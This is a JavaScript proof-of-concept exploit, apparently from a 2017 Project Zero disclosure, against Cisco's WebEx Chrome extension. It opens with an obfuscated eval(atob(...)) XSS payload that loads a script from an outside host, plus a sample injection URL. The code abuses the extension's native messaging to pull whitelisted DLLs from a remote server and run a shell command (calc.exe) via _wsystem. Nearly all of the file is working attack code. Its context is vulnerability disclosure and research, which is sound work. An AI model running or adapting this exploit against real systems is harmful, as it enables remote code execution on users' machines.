//
|
// Execute this code in your XSS payload:
|
//
|
// eval(atob("ZD1kb2N1bWVudDsocz1kLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jay5jbXB4Y2hnOGIuY29tL0pvUGhlaTdhL3dlYmV4LmpzJztkLmhlYWQuYXBwZW5kQ2hpbGQocyk7"))
|
//
|
// At the time of writing, this example worked in Chrome with 1.0.5:
|
//
|
// https://support.webex.com/support/documentation/wwhelp/wwhimpl/common/html/frameset.htm#?");eval(atob("ZD1kb2N1bWVudDsocz1kLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jay5jbXB4Y2hnOGIuY29tL0pvUGhlaTdhL3dlYmV4LmpzJztkLmhlYWQuYXBwZW5kQ2hpbGQocyk7"));("
|
//
|
// Tavis Ormandy Jan 2017. https://bugs.chromium.org/p/project-zero/issues/detail?id=1100
|
|
// This is a list of all permitted GpcComponents from Cisco's WebEx Extension.
|
var whitelist = [
|
'aasetup.dll',
|
'ataactrl.dll',
|
'atonecli.dll',
|
'atplycli.dll',
|
'atrcp.dll',
|
'atsc3cls.dll',
|
'atsccli.dll',
|
'atsccust.dll',
|
'atshcli.dll',
|
'atstctrl.dll',
|
'mailutil.dll',
|
'raagt.dll',
|
'ramtmgr.dll',
|
'scplugin.dll',
|
'tcholmgr.dll',
|
'wbxmgrec.dll',
|
'wbxmgrtc.dll',
|
'wbxtccli.dll',
|
'wbxtcholcli.dll',
|
];
|
|
// The WebEx extension needs a magic URL, so we create an iframe with that URL.
|
var frame = document.createElement("iframe");
|
var modInstalled = 0;
|
var modInvoked = 0;
|
var installDelaySeconds = 3; // Time to wait for a module to download. Don't be too aggressive.
|
var invokeDelaySeconds = 1; // Time to wait for a module to run.
|
var disconnectDelaySeconds = 0.5; // Time to wait after a disconnect before continuing.
|
var timer;
|
var installUrl = "https://www.webex.com/test-meeting.html";
|
|
// Note that it doesn't matter if the URL 404's, the extension still loads.
|
frame.setAttribute("src", "/invalid/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
|
|
// Setup an event handler to track progress.
|
document.addEventListener("native_message", function (e) {
|
|
try {
|
console.log("[exploit] native_message event received e=", e.detail.message_type);
|
|
switch (e.detail.message_type) {
|
case "hello_ack": // Received after connect message.
|
case "disconnect_ack": // Received after disconnect message, but disconnect is sent when operation completed.
|
break;
|
case "state_changed": // Happens on initial navigation.
|
console.log("[exploit] extension initialized, installing modules...");
|
installNextModule();
|
break;
|
case "disconnect": // Disconnect operation completed.
|
// User didn't install the WebEx Application.
|
if (e.detail.message == "Specified native messaging host not found.") {
|
alert("WebEx application not installed? Start a test meeting first.");
|
window.location.assign(installUrl);
|
}
|
|
if (e.detail.message == "Native host has exited.") {
|
console.log("[exploit] disconnect confirmed by webex..., timer=", timer);
|
if (modInvoked < modInstalled) {
|
timer = setTimeout(invokeNextModule, disconnectDelaySeconds * 1000);
|
} else {
|
timer = setTimeout(installNextModule, disconnectDelaySeconds * 1000);
|
}
|
}
|
break;
|
default:
|
console.log("[exploit] unknown message_type, type=", e.detail.message_type);
|
}
|
} catch (ex) {
|
console.log("[exploit] unable to parse native_message event", e);
|
}
|
});
|
|
// This callback will attempt to overwrite one of the whitelisted modules, then
|
// disconnect the port.
|
function installNextModule()
|
{
|
// Check if we have any modules left to install.
|
if (modInstalled >= whitelist.length) {
|
return false;
|
}
|
|
var mod = whitelist[modInstalled++];
|
var msg = {
|
GpcProductRoot: "WebEx",
|
GpcMovingInSubdir: "Wanta",
|
GpcProductVersion: "T30_MC",
|
GpcUnpackName: "atgpcdec",
|
GpcExtName: mod.substr(0, mod.indexOf('.')),
|
GpcUnpackVersion: "27, 17, 2016, 501",
|
GpcExtVersion: "3015, 0, 2016, 1117",
|
GpcUrlRoot: "https://lock.cmpxchg8b.com/JoPhei7a/",
|
GpcComponentName: btoa(mod),
|
};
|
|
console.log("[exploit] installNextModule about to dispatchEvent for", mod, "with msg=", msg);
|
|
// Attempt to install the module, it must be signed by Cisco.
|
frame.contentDocument.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
|
frame.contentDocument.dispatchEvent(new CustomEvent("message", { detail: {
|
message: JSON.stringify(msg),
|
message_type: "launch_meeting",
|
timestamp: (new Date()).toUTCString(),
|
token: "token"
|
}
|
}));
|
|
console.log("[exploit] waiting", installDelaySeconds, "seconds for", mod, "to install...");
|
|
setTimeout(sendDisconnect, installDelaySeconds * 1000);
|
|
return true;
|
}
|
|
function sendDisconnect()
|
{
|
console.log("[exploit] about to attempt disconnect...");
|
frame.contentDocument.dispatchEvent(new CustomEvent("message", { detail: {
|
message: null,
|
message_type: "disconnect",
|
timestamp: (new Date()).toUTCString(),
|
token: "token",
|
}
|
}));
|
}
|
|
function invokeNextModule()
|
{
|
// Check if we have any modules left to execute.
|
if (modInvoked >= whitelist.length) {
|
return false;
|
}
|
var mod = whitelist[modInvoked++];
|
var msg = {
|
GpcProductRoot: "WebEx",
|
GpcMovingInSubdir: "Wanta",
|
GpcProductVersion: "T30_MC",
|
GpcUnpackName: "atgpcdec",
|
GpcExtName: "atgpcext",
|
GpcUnpackVersion: "27, 17, 2016, 501",
|
GpcExtVersion: "3015, 0, 2016, 1117",
|
GpcUrlRoot: "https://lock.cmpxchg8b.com/JoPhei7a/",
|
GpcComponentName: btoa(mod),
|
GpcSuppressInstallation: btoa("True"),
|
GpcFullPage: "True",
|
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
|
ExploitShellCommand: btoa("calc.exe"),
|
};
|
|
console.log("[exploit] about to send exploit for", mod, "msg=", msg);
|
|
frame.contentDocument.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
|
frame.contentDocument.dispatchEvent(new CustomEvent("message", { detail: {
|
message: JSON.stringify(msg),
|
message_type: "launch_meeting",
|
timestamp: (new Date()).toUTCString(),
|
token: "token"
|
}
|
}));
|
|
console.log("[exploit] waiting", invokeDelaySeconds, "seconds for", mod, "to execute...");
|
|
setTimeout(sendDisconnect, invokeDelaySeconds * 1000);
|
|
return true;
|
}
|
|
console.log("[exploit] about to append iframe, src=", frame.src);
|
|
// Print an error if user is crazy.
|
if (window.chrome) {
|
var s = document.createElement("script");
|
s.setAttribute("src", "chrome-extension://jlhmfgmfgeifomenelglieieghnjghma/manifest.json");
|
s.setAttribute("onerror", "alert('Are you sure you have WebEx installed? Try a test meeting first.'); window.location.assign(installUrl)");
|
document.body.appendChild(s);
|
}
|
|
// Load the frame
|
document.body.appendChild(frame);
|
|